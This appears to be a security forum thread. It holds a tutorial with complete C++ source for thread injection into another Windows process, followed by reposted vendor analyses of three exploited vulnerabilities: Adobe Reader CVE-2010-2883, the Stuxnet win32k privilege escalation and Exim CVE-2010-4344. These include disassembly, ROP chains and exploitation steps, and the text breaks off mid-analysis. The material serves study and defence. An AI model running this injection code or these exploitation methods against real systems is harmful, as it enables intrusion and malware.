  24. Thread Injection By Nick Cano This tutorial for Thread Injection is intended for x86 processes. Due to slight differences in registers itwont work on x64 processes, but it can easily be converted. Introduction: Code-caving is the practice of injecting machine code into a remote process and making it execute. In this tutorial, I will cover a method of code-caving which I like to call thread injection. Thread injection is a seven step process. 1. Detect target process 2. Identify main thread 3. Suspend main thread 4. Obtain thread context 5. Create and write the code-cave 6. Spoof instruction pointer to execute the code-cave 7. Resume the thread, continue execution, and free memory Sursa: #include <iostream> #include <tchar.h> #include <windows.h> #include <WinNT.h> using namespace std; struct partialTIB { DWORD SEHFrame; DWORD StackTopPointer; DWORD StackBottomPointer; DWORD Unknown; DWORD FiberData; DWORD ArbitraryDataSlot; DWORD LinearAddressOfTIB; DWORD EnviromentPointer; DWORD ProcessID; DWORD CurrentThreadID; }; partialTIB GetProcessThreadInformation(DWORD procID) { DWORD pointerTID; _asm { MOV EAX, FS:[0x18] MOV [pointerTID], EAX } partialTIB TIB; HANDLE hProcess = OpenProcess(PROCESS_VM_READ, false, procID); ReadProcessMemory(hProcess, (LPVOID)pointerTID, &TIB, sizeof(partialTIB), NULL); CloseHandle(hProcess); return TIB; } HANDLE OpenAndSuspendThread(DWORD threadID) { DWORD ACCESS = THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_SET_CONTEXT; HANDLE thread = OpenThread(ACCESS, false, threadID); SuspendThread(thread); return thread; } LPVOID CreateCodeCave(HANDLE process, DWORD InstructPtr) { LPVOID codeCave = VirtualAllocEx(process, NULL, 6, MEM_COMMIT, PAGE_EXECUTE_READWRITE); DWORD push = 0x68; DWORD retn = 0xC3; WriteProcessMemory(process, codeCave, &push, 1, NULL); // "PUSH" opcode WriteProcessMemory(process, (LPVOID)((DWORD)codeCave+1), &InstructPtr, 4, NULL); //return address WriteProcessMemory(process, (LPVOID)((DWORD)codeCave+5), &retn, 4, NULL); //"RETN" opcode return codeCave; } CONTEXT RetriveThreadControlContext(HANDLE thread) { CONTEXT threadContext; threadContext.ContextFlags = CONTEXT_CONTROL; GetThreadContext(thread, &threadContext); return threadContext; } DWORD FindProcessByWindowName(char* windowName) { DWORD procID = NULL; HWND window = FindWindowA(NULL, windowName); if (window) GetWindowThreadProcessId(window, &procID); return procID; } int _tmain(int argc, _TCHAR* argv[]) { DWORD procID = NULL; while (!procID) { char windowTitle[128]; cout << "Enter the title of the window to inject the code into:" << endl; cin >> windowTitle; cout << endl; procID = FindProcessByWindowName(windowTitle); } partialTIB TIB = GetProcessThreadInformation(procID); cout << "Detected process: " << TIB.ProcessID << endl; cout << "Detected main thread: " << TIB.CurrentThreadID << endl; HANDLE thread = OpenAndSuspendThread(TIB.CurrentThreadID); CONTEXT threadContext = RetriveThreadControlContext(thread); cout << "Thread Instruction Pointer: " << threadContext.Eip << endl; HANDLE process = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION, false, TIB.ProcessID); cout << "Writing codecave..." << endl; LPVOID codeCave = CreateCodeCave(process, threadContext.Eip); cout << "Codecave pointer: " << (DWORD)codeCave << endl; threadContext.Eip = (DWORD)codeCave; cout << "Spoofing EIP register..." << endl; threadContext.ContextFlags = CONTEXT_CONTROL; SetThreadContext(thread, &threadContext); cout << "Resuming thread..." << endl; ResumeThread(thread); cout << "DONE!" << endl; Sleep(2000); VirtualFreeEx(process, codeCave, 6, MEM_DECOMMIT); CloseHandle(process); CloseHandle(thread); while (true) Sleep(100); return 0; } Online: https://docs.google.com/viewer?a=v&pid=explorer&chrome=true&srcid=0ByoMFI63ZLfPZjZhNmIxMWYtNDc5Mi00ODBjLWI2MTctYTllMTU2Y2VjOTBl&hl=en_US Download: http://www.megaupload.com/?d=IGI5K7J5 http://www.mediafire.com/?qlv1dncu7ial8bp
  25. Sunt trei Technical Analysis: - VUPEN Vulnerability Research Blog - Technical Analysis of the Adobe Acrobat / Reader 0-Day Exploit CVE-2010-2883 - VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743 - VUPEN Vulnerability Research Blog - Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability CVE-2010-4344 Criminals Are Getting Smarter: Analysis of the Adobe Acrobat / Reader 0-Day Exploit Published on 2010-09-09 16:32:21 UTC by Nicolas Joly, Security Researcher @ VUPEN Hi everyone, We would like to share some interesting details based on our in-depth analysis of the recent Adobe Acrobat/Reader 0-Day exploit (CVE-2010-2883). Here at VUPEN, we analyze a lot of vulnerabilities and 0days and we create quite sophisticated exploits targeting various applications and operating systems. During the last few months, we have created a large number of Adobe Reader exploits and many of them defeated DEP. So why is this particular 0day exploit so interesting? Because it bypasses DEP and ASLR by using impressive tricks and unusual methods that we have not seen often in the wild. As some of you may know, the malicious PDF takes advantage of an unsecure "strcat()" call in "CoolType.dll", which results in a common stack overflow. The vulnerable function is reached when a PDF document embeds a font with a specific table. .text:0803DCF9 push ebp .text:0803DCFA sub esp, 104h .text:0803DD00 lea ebp, [esp-4] .text:0803DD04 mov eax, dword_8230FB8 .text:0803DD09 xor eax, ebp .text:0803DD0B mov [ebp+108h+var_4], eax .text:0803DD11 push 4Ch .text:0803DD13 mov eax, offset loc_8184A54 .text:0803DD18 call __EH_prolog3_catch // set up an SE handler .text:0803DD1D mov eax, [ebp+108h+arg_C] .text:0803DD23 mov edi, [ebp+108h+arg_0] .text:0803DD29 mov ebx, [ebp+108h+arg_4] .text:0803DD2F mov [ebp+108h+var_130], edi .text:0803DD32 mov [ebp+108h+var_138], eax When a font with a SING table is found, the following instructions are reached: .text:0803DD74 push offset aSing ; "SING" .text:0803DD79 push edi ; int .text:0803DD7A lea ecx, [ebp+108h+var_12C] .text:0803DD7D call sub_8021B06 ... .text:0803DD9F loc_803DD9F: .text:0803DD9F add eax, 10h .text:0803DDA2 push eax // long string following the SING table .text:0803DDA3 lea eax, [ebp+108h+Dest] .text:0803DDA6 push eax // ~256 bytes stack buffer .text:0803DDA7 mov [ebp+108h+Dest], 0 .text:0803DDAB call strcat // insecure! To exploit such bugs, an exploit writer usually overwrites a return address or an SE handler, but at first sight it does not seem feasible here. A stack cookie prevents the return address from being exploited and an SE handler is set when the function is entered, which gives the following stack: | SE | | NEXT SE | | DEST | <-- vulnerable buffer | ... | | COOKIE | | EBP | | RET ADD | As we can see, if you try to overwrite the return address you get killed by the cookie. And if you try to trigger an exception while writing data off the stack, you get caught by the SE handler and then by the cookie. These solutions are clearly not interesting here. As a solution, you can try to overwrite an argument or a variable defined in the caller. That's precisely what was done by the attacker. When trying to overwrite the stack, a first crash occurs in BIB.dll. This is because the next called function is using an overwritten argument: .text:0803DDB0 pop ecx .text:0803DDB1 pop ecx .text:0803DDB2 lea eax, [ebp+108h+Dest] .text:0803DDB5 push eax .text:0803DDB6 mov ecx, ebx // ebx actually points to arg_4, which is overwritten .text:0803DDB8 call sub_8001243 And then: .text:070013F7 lea eax, [ecx+1Ch] // ecx = [arg_4] .text:070013FA mov [ebp+var_8], eax .text:070013FD mov eax, [ebp+var_8] .text:07001400 lock dec dword ptr [eax] // first crash here If an incorrect address is specified, an exception is first triggered at 0x07001400, and then caught by the SE handler which eventually crashes Adobe Acrobat/Reader. Wrong turn. So a valid pointer here must be set. This basically allows the attacker to decrement an arbitrary dword in memory, which can be useful indeed (e.g. CVE-2008-4812), but even with this, it is still difficult to forge an exploit to bypass DEP and ASLR. The salvation (for the attacker) came from sub_8016BDE, which takes two pointers to stack arguments: .text:0803DEA9 loc_803DEA9: .text:0803DEA9 .text:0803DEA9 lea eax, [ebp+108h+var_124] .text:0803DEAC push eax .text:0803DEAD push ebx .text:0803DEAE push edi // ebx and edi point to arg_4 and arg_0 .text:0803DEAF call sub_8016BDE This function actually calls sub_801BB1C with arg_0 which returns 0 or a pointer. If 0 is returned, the jump at 0x080172CE is taken and the function is exited. However if a pointer is returned, sub_801BB21 (which also uses arg_0 as a parameter) is called. .text:08016C2B push edi .text:08016C2C mov [ebp+664h+var_668], ebx .text:08016C2F mov [ebp+664h+var_694], ebx .text:08016C32 mov [ebp+664h+var_678], ebx .text:08016C35 call sub_801BB1C // return 0 or a pointer .text:08016C3A cmp eax, ebx .text:08016C3C pop ecx .text:08016C3D mov [ebp+664h+var_67C], eax .text:08016C40 jz loc_80172CE .text:08016C46 push 1 .text:08016C48 push ebx .text:08016C49 push ebx .text:08016C4A lea eax, [ebp+664h+var_678] .text:08016C4D push eax .text:08016C4E lea eax, [ebp+664h+var_694] .text:08016C51 push eax .text:08016C52 push edi .text:08016C53 push [ebp+664h+var_67C] .text:08016C56 call sub_801BB21 // this call must be reached Let's see what is executed by sub_801BB1C: .text:0801BA57 mov eax, dword_823A728 .text:0801BA5C test eax, eax // the attacker does not control this pointer .text:0801BA5E jz short locret_801BA73 .text:0801BA60 mov ecx, [esp+arg_0] // however ecx may point to a controlled dword .text:0801BA64 mov ecx, [ecx+4] .text:0801BA67 .text:0801BA67 loc_801BA67: .text:0801BA67 cmp ecx, [eax+4] .text:0801BA6A jz short locret_801BA73 .text:0801BA6C mov eax, [eax+8] .text:0801BA6F test eax, eax .text:0801BA71 jnz short loc_801BA67 .text:0801BA73 .text:0801BA73 locret_801BA73: .text:0801BA73 .text:0801BA73 retn Basically ecx must equal [eax+4] to make this function return something other than NULL. So which values are pointed by eax + 4? 0x0000006c 0x0000006b 0x00000070 0x0000006f 0x0000006d Remember that since a strcat is exploited, null bytes cannot be used! Initially arg_0 + 4 points to 0x0000006D which means this value must not be touched and thus a limited amount of bytes should be copied on the stack. That's why the author of this exploit did not overwrite the whole stack but only a part. Finally sub_801BB21 and sub_808B116 are entered: .text:0808B2E3 mov eax, [edi+3Ch] // edi = arg_0, but edi + 3Ch points to a stack pointer, // itself pointing to a controlled value .text:0808B2E6 cmp eax, ebx .text:0808B2E8 mov [esi+2F4h], eax .text:0808B2EE mov [esi+2F8h], ebx .text:0808B2F4 mov [ebp+var_4], ebx .text:0808B2F7 jnz short loc_808B300 .text:0808B2F9 .text:0808B2F9 loc_808B2F9: .text:0808B2F9 xor al, al .text:0808B2FB jmp loc_808B594 .text:0808B300 .text:0808B300 loc_808B300: .text:0808B300 lea ecx, [ebp+var_4] .text:0808B303 push ecx .text:0808B304 push ebx .text:0808B305 push 3 .text:0808B307 push eax .text:0808B308 call dword ptr [eax] // EIP is redirected here The story could end there, but the ROP sequence used is technically uncommon. Reader uses icucnv36.dll which does not change across versions (at least since Reader 9.2.0) and does not support ASLR. An exploit writer can then base his ROP on this DLL to target Reader versions >= 9.20 with the same malicious PDF file, and this library was used by the attacker. While this DLL seems interesting, it does not import VirtualAlloc, VirtualProtect, HeapCreate, WriteMemory or even a LoadLibrary, which complicates exploitation. However, the attacker did find and use other functions: 4A84903C CreateFileA // create the file iso88591 4A849038 CreateFileMappingA // attrib RWE 4A849030 MapViewOfFile // load this file in memory with RWE flags 4A849170 memcpy // copy the payload The idea of the attacker was to spray the heap with a ROP pattern, followed by the shellcode. It first creates a file (iso88591) on disk, loads it with RWE attributes, copies the payload in memory and eventually executes the shellcode. The exploit first sets esp to point to the spray with: .text:4A80CB38 add ebp, 794h .text:4A80CB3E leave .text:4A80CB3F retn followed by: .text:4A82A714 pop esp // esp = 0x08852030 .text:4A82A715 retn 0x08852030 actually points to a heap spray which consists in the same ROP address repeated, to make a stack spray: .text:4A801064 retn It is then followed by ROP addresses to map an executable page. Addresses are typically popped to eax and functions are called with: .text:4A80B692 jmp dword ptr [eax] You can also notice that dynamic arguments are written to the stack thanks to: .text:4A80A8A6 and dword ptr [2*ebx + esp], edi .text:4A80A8A9 jnz short loc_4A80A8AE ... .text:4A80A8AE loc_4A80A8AE: .text:4A80A8AE cmp al, 2Fh .text:4A80A8B0 jz short loc_4A80A8AB .text:4A80A8B2 cmp al, 41h .text:4A80A8B4 jl short loc_4A80A8BA ... .text:4A80A8C8 loc_4A80A8C8: .text:4A80A8C8 .text:4A80A8C8 xor al, al .text:4A80A8CA retn In the end, it calls memcpy and jumps to the payload, leading to arbitrary code execution despite DEP and ASLR. It is unclear whether this vulnerability was found by fuzzing or static analysis. However, it seems clear that the one who designed the exploit has good knowledge of Acrobat and LiveCycle, Javascript and ROP and obviously knows how to use a debugger. In fact, because of a single DLL, we have here a typical example of something able to help attackers to target, with the same exploit file, multiple versions of a vulnerable application, on multiple systems (Windows XP, Vista, 7), and despite the common security measures. Note that this kind of insecure DLLs also exist in major Microsoft products... Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit Published on 2010-10-18 12:53:38 UTC by Sebastien Renaud, Security Researcher @ VUPEN Hi everyone, This time we will share very interesting technical details on how Stuxnet authors have achieved reliable code execution while exploiting one of the two Windows privilege escalation 0-Day vulnerabilities. This one was patched last week with the MS10-073 update, and a remaining Task Scheduler vulnerability is still unpatched. While we deeply analyzed Stuxnet and its behaviors, we will not explain its architecture or features as two detailed documents have already been published by our friends from Symantec and ESET. We will focus here on the Windows Win32K.sys keyboard layout vulnerability (CVE-2010-2743) and how it was exploited by Stuxnet using custom Portable Executable (PE) parsing tricks to achieve a reliable code execution. 1. Technical Analysis of the Vulnerability This specific vulnerability exists within the Windows kernel-mode driver "win32k.sys" that does not properly index a table of function pointers when loading a keyboard layout from disk. Usually keyboard layout files are loaded through the "LoadKeyboardLayout()" function which is a wrapper around the "NtUserLoadKeyboardLayoutEx()" win32k syscall. Below is a kernel stack trace when loading a keyboard layout file: kd> kn # ChildEBP RetAddr 00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo 01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c 02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37 03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395 04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164 05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8 06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel) Once a crafted file is loaded by the Win32K kernel driver, the malware sends an event to the keyboard input stream to effectively trigger the vulnerability. This was achieved by calling the "user32!SendUserInput()" function which, in turn, calls "win32k!NtUserSendInput()" and ultimately the "win32k!xxxKENLSProcs()" function: kd> kn # ChildEBP RetAddr 00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs 01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9 02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158 03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2 04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd 05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8 06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet 07 0012fd7c 00401ded USER32!NtUserSendInput+0xc WARNING: Stack unwind information not available. Following frames may be wrong. 08 0012fdac 00401331 CVE_2010_2743+0x1ded Inside the "win32k!xxxKENLSProcs()" function, the Win32K driver retrieves a byte from the keyboard layout file which was previously loaded. This byte is set into the ECX register and then used as an index in an array of function pointers: ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C ; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003 ; .text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX is attacker-controlled .text:BF8A1F57 push edi .text:BF8A1F58 add eax, 0FFFFFF7Ch .text:BF8A1F5D push eax .text:BF8A1F5E call _aNLSVKFProc[ecx*4] // indexed call in function array The aNLSVKFProc function array contains three functions and is followed by an array of byte values: .data:BF99C4B8 _aNLSVKFProc dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@12 .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 .data:BF99C4C4 _aVkNumpad db 67h .data:BF99C4C5 db 68h .data:BF99C4C6 db 69h .data:BF99C4C7 db 0FFh .data:BF99C4C8 db 64h .data:BF99C4C9 db 65h .data:BF99C4CA db 66h .data:BF99C4CB db 0FFh .data:BF99C4CC db 61h .data:BF99C4CD db 62h .data:BF99C4CE db 63h .data:BF99C4CF db 60h .data:BF99C4D0 db 6Eh .data:BF99C4D1 db 0 .data:BF99C4D2 db 0 .data:BF99C4D3 db 0 [...] If an index value greater than 2 is supplied, the code will treat data in the byte array as pointers. If the index has a value of 5, the code in the "win32k!xxxKENLSProcs()" function will call the pointer at 0xBF99C4CC, which means that the code flow is redirected to 0x60636261. kd> dds win32k!aNLSVKFProc L6 bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0 bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1 bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2 bf99c4c4 ff696867 // index 3 bf99c4c8 ff666564 // index 4 bf99c4cc 60636261 // index 5 [...] As this address could be controlled from userland, an attacker can place a ring0 shellcode at this address to achieve code execution with kernel privileges. 2. Reliable Code Execution via PE Parsing To get a reliable code execution with different versions of the "win32k.sys" driver while the aNLSVKFProc function array is not exported, Stuxnet authors had to ensure that the indexed data outside the aNLSVKFProc array will always be valid a pointer that can controlled from userland, and used in the "call" instruction. To achieve this task the Stuxnet exploit parses the Win32K.sys file and does the following: - Loads the win32K.sys file as a flat data file - Gets some information from the PE header (number of sections, export and import data directories, etc.) - Gets Timestamp info - Gets .data section VA - Gets .data section information - Gets .text VA - Gets .text section information - Searches for a specific binary signature - Searches for the NLSVKFProcs function array Stuxnet uses a binary signature which is present in all "win32K.sys" driver versions (on Windows 2000 and Windows XP) whatever service packs or patches are installed on the target system. This signature corresponds to the first 8 bytes of the "aulShiftControlCvt_VK_IBM02" variable (not exported), located in the .data section of the binary file: .data:BF99C4DC _aulShiftControlCvt_VK_IBM02 .data:BF99C4DC db 91h .data:BF99C4DD db 0 .data:BF99C4DE db 3 .data:BF99C4DF db 1 .data:BF99C4E0 db 90h .data:BF99C4E1 db 0 .data:BF99C4E2 db 13h .data:BF99C4E3 db 1 This signature is known to be: - Present in all versions of Win32K drivers - Unique - Near the aNLSVKFProc function array Once this signature is found, the malware uses an arbitrary range of - 1000 to +1000 bytes from the signature and starts searching for a pointer to the code section of the driver. In the example below, the pointer at 0xBF99C478 (0xBF9332CA) is a pointer to the code section: .data:BF99C470 07 00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF .data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF The above data dump looks like this when viewed from a code perspective: .data:BF99C470 _fNlsKbdConfiguration db 7 .data:BF99C471 align 8 .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 [...] When such a pointer is found, the malware applies the following algorithm to a particular pointer (remember that the code is currently stopped at 0xBF99C478, which we call "pLoc"): - pLoc[0] and pLoc[2] must be the same pointers: .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 - pLoc[0] and pLoc[1] must not be the same pointers. .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 - pLoc[0] and pLoc[4] must not be the same pointers. .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 .data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12 .data:BF99C480 dd offset _NlsNullProc@12 .data:BF99C484 dd offset _NlsSendParamVk@12 At that point, the malware knows that it may have found "_aNLSKEProc". For this, it checks if the pointer at this address is really a pointer to the NlsNullProc() function by searching for a RETN 0C instruction (opcodes: 0xC20C) in the very first bytes of the function: .text:BF9332CA ; __stdcall NlsNullProc(x, x, x) .text:BF9332CA _NlsNullProc@12 proc near .text:BF9332CA xor eax, eax .text:BF9332CC inc eax .text:BF9332CD retn 0Ch // opcodes: 0xC2 0x0C .text:BF9332CD _NlsNullProc@12 endp Below is an excerpt of the Stuxnet malware doing this opcode search: CPU Disasm 10002C5F PUSH 2 10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5] // ecx points to func. code 10002C64 |XOR EAX,EAX 10002C66 |POP EDI // edi = 2 10002C67 |/TEST EAX,EAX 10002C69 ||JNE SHORT 10002C7E 10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2 // c2 0c => RETN 0c 10002C71 ||SETE AL // set AL on condition 10002C74 ||INC EDI 10002C75 ||CMP EDI,0A // check only for the first 8 bytes 10002C78 |\JB SHORT 10002C67 If the "RETN 0C" code is found, the code is currently located on the _aNLSKEProc variable (0xBF99C478): .data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12 From there, the code searches for and goes to the next "NlsNullProc()" function pointer: .data:BF99C4B0 dd offset _NlsKanaEventProc@ .data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12 .data:BF99C4B8 _aNLSVKFProc: .data:BF99C4B8 dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@ .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 As we can see, it founds the non-exported aNLSVKFProc function array. To ensure this is the right variable, the malware does two more checks: - Pointer at +2 cannot be NlsNullProc: .data:BF99C4B0 dd offset _NlsKanaEventProc@ .data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12 .data:BF99C4B8 _aNLSVKFProc: .data:BF99C4B8 dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@ .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 - Pointer at -2 canot be NlsNullProc: .data:BF99C4B0 dd offset _NlsKanaEventProc@ .data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12 .data:BF99C4B8 _aNLSVKFProc: .data:BF99C4B8 dd offset _NlsNullProc@12 .data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@ .data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12 Once all these checks are passed, the malware is now pretty sure that it is on aNLSVKFProc. It then checks starting from the function array for the first user-mode pointer: CPU Disasm 10002B35 MOV EDI,10000 // edi = 0x10000 10002B3A /MOV ECX,DWORD PTR SS:[ARG.2] // _aNLSVKFProc 10002B3D |MOVZX EAX,BL 10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX] // esi = _aNLSVKFProc[i] 10002B43 |CMP ESI,7FFF0000 // must be in user space 10002B49 |JNB SHORT 10002B91 10002B4B |CMP DWORD PTR SS:[ARG.6],0 10002B4F |JNE SHORT 10002B55 10002B51 |CMP ESI,EDI // must be above 0x10000 10002B53 |JB SHORT 10002B91 10002B55 |PUSH 1C 10002B57 |LEA EAX,[LOCAL.10] 10002B5A |PUSH EAX 10002B5B |PUSH ESI // pointer outside array 10002B5C |CALL DWORD PTR DS:[VirtualQuery_p] // get page information 10002B62 |CMP EAX,1C 10002B65 |JA SHORT 10002BA7 10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI // is it a MEM_FREE page? 10002B6A |JNE SHORT 10002B91 10002B6C |PUSH 40 10002B6E |PUSH 3000 10002B73 |LEA EAX,[LOCAL.3] 10002B76 |PUSH EAX 10002B77 |PUSH 0 10002B79 |LEA EAX,[LOCAL.1] 10002B7C |PUSH EAX 10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI 10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p] 10002B86 |PUSH EAX 10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p] // alloc page 10002B8D |TEST EAX,EAX 10002B8F |JE SHORT 10002BB0 10002B91 |INC BL 10002B93 |CMP BL,0FF // i <= 255 10002B96 \JBE SHORT 10002B3A The above code snippet, extracted from Stuxnet, extracts pointers from the table (even outside the table) and checks if the pointer is below 0x7FFF0000 (first address outside userland addresses) and above 0x10000. The code checks if the page is not already mapped. If it is not, the page is allocated. In our example, this would lead to allocate the page containing the address 0x60636261: kd> dds win32k!aNLSVKFProc L6 bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0 bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1 bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2 bf99c4c4 ff696867 // index 3 bf99c4c8 ff666564 // index 4 bf99c4cc 60636261 // index 5 [...] Once the page is allocated, the malware does the following: - Copies a shellcode to that address (0x60636261). - Saves the malicious index (5 in our example) in a keyboard layout file. - Loads the layout file and sends the input event to trigger the vulnerability This last step leads to "win32k!xxxKENLSProcs()" and to the indexed call, leading to arbitrary code execution of the shellcode with kernel privileges. ; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C ; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003 ; .text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX = 5 .text:BF8A1F57 push edi .text:BF8A1F58 add eax, 0FFFFFF7Ch .text:BF8A1F5D push eax .text:BF8A1F5E call _aNLSVKFProc[ecx*4] // Call 0x60636261 As we can see, the custom PE parsing used in Stuxnet ensures that whatever the operating system is (2000 or XP) and the service packs or patches are installed, the function array can be reliably found and the vulnerability exploited. This method could be improved or implemented differently, but it does its job as expected and it demonstrates, once again, that malware authors are getting smarter. Technical Analysis of Exim "string_vformat()" Buffer Overflow Vulnerability Published on 2010-12-21 15:16:26 UTC by Matthieu Bonetti, Security Researcher @ VUPEN Hi everyone, An interesting vulnerability (CVE-2010-4344) was recently exploited in the wild to remotely and fully compromise systems where the Exim message transfer agent is installed. While the vulnerability itself is simple, creating a reliable code execution exploit involves precise calculations. A reliable exploit was first released by jduck1337, and other (less reliable) codes have followed on the web. In this blog, we will share our binary analysis of the vulnerability and how we achieved reliable exploitation. 1. Technical Analysis of the Vulnerability The vulnerability results from a buffer overflow error within the "string_vformat()" function when processing malformed email messages and headers. Exim uses various custom functions to handle strings, they can be found in the "exim-4.69/src/string.c" file. One of them is "string_vformat()" and it works as follows : - a pointer "p" is set to buffer - a pointer "last" is set to buffer + buflen - 1 1066 BOOL 1067 string_vformat(uschar *buffer, int buflen, char *format, va_list ap) 1068 { 1069 enum { L_NORMAL, L_SHORT, L_LONG, L_LONGLONG, L_LONGDOUBLE }; 1070 1071 BOOL yield = TRUE; 1072 int width, precision; 1073 char *fp = format; /* Deliberately not unsigned */ 1074 uschar *p = buffer; 1075 uschar *last = buffer + buflen - 1; 1076 1077 string_datestamp_offset = -1; /* Datestamp not inserted */ Then, two variables "width" and "precision" are set to -1: 1102 item_start = fp; 1103 width = precision = -1; 1104 1105 if (strchr("-+ #0", *(++fp)) != NULL) The supplied argument "format" is evaluated. If a %s is encountered, the following steps are achieved: - First, the length of buffer is calculated using "strlen()" and not buflen - Then, if width is negative and if precision is negative: width and precision are set to the buffer length resulting from "strlen()" 1238 case 'S': /* Forces *lower* case */ 1239 s = va_arg(ap, char *); 1240 1241 INSERT_STRING: /* Come to from %D above */ 1242 if (s == NULL) s = null; 1243 slen = Ustrlen(s); 1244 1245 /* If the width is specified, check that there is a precision 1246 set; if not, set it to the width to prevent overruns of long 1247 strings. */ 1248 1249 if (width >= 0) [?] 1256 1257 else if (precision >= 0) [?] 1263 1264 else width = precision = slen; 1265 1266 /* Check string space, and add the string to the buffer if ok. If "p" is larger than "last - width", the two variables width and precision are changed. 1267 not OK, add part of the string (debugging uses this to show as 1268 much as possible). */ 1269 1270 if (p >= last - width) 1271 { 1272 yield = FALSE; 1273 width = precision = last - p - 1; 1274 } Once done, width and precision are used with the "sprint()" function. The content of the buffer is copied until a NULL byte is encountered or the width and precision are reached. 1275 sprintf(CS p, "%*.*s", width, precision, s); 1276 if (fp[-1] == 'S') 1277 while (*p) { *p = tolower(*p); p++; } 1278 else 1279 while (*p) p++; To fully understand the internals of the "string_vformat()" function, let's use it with the following arguments: - string_vformat(buffer, 3, "%c %s", ap) ap is a va_list containing a character and a long string: "looooooooooong buffer" for example. First, p and last are set: - p points to buffer which is at 0x08CCC965 for example - last points to 0x08CCC965 + 3 - 1 = 0x08CCC967 Then, "%c" is treated and p is increased by the size of a char and a space: p = 0x08CCC965 + 2 = 0x08CCC967 Then width and precision are set to -1. "%s" is then treated: - slen is set to 21 (using strlen()). - width and precision are set to 21 as they were negative. The last minus the new width becomes smaller than p: 0x08CCC967 - 21 = 0x08ccc952 0x08CCC967 > 0x8ccc952 The variables width and precision are changed: width = precision = last - p - 1 width = precision = 0x08CCC967 - 0x08CCC967 - 1 width = precision = -1 When the "sprintf()" function is called, the long string is copied with a width and a precision of 0xFFFFFFFF. The full content of the long string in the va_list is copied despite the size limit of 3. This leads to a heap-based buffer overflow. This behavior can be seen from the assembly code as well. First, p and last are set: .text:080A99E9 mov edx, [ebp+buffer] // p .text:080A99EC mov eax, [ebp+buflen] .text:080A99EF mov ecx, [ebp+format] .text:080A99F2 mov string_datestamp_offset, 0FFFFFFFFh .text:080A99FC mov edi, edx .text:080A99FE lea eax, [edx+eax-1] .text:080A9A02 mov [ebp+last], eax // last .text:080A9A05 sub eax, 1 .text:080A9A08 mov [ebp+src], ecx .text:080A9A0B mov [ebp+yield], 1 .text:080A9A12 mov [ebp+last_minus_one], eax // last-1, used later .text:080A9A15 jmp short loc_80A9A2F When %s is handled, the length of the string in the va_list is calculated using "strlen()": .text:080A9DE8 loc_80A9DE8: .text:080A9DE8 mov [esp], ebx // long string .text:080A9DEB call _strlen .text:080A9DF0 mov edx, [ebp+width] .text:080A9DF3 test edx, edx .text:080A9DF5 js loc_80A9F30 [?] .text:080A9F30 loc_80A9F30: .text:080A9F30 mov edx, [ebp+precision] .text:080A9F33 test edx, edx .text:080A9F35 js loc_80AA044 .text:080A9F3B mov ecx, [ebp+precision] .text:080A9F3E cmp ecx, eax 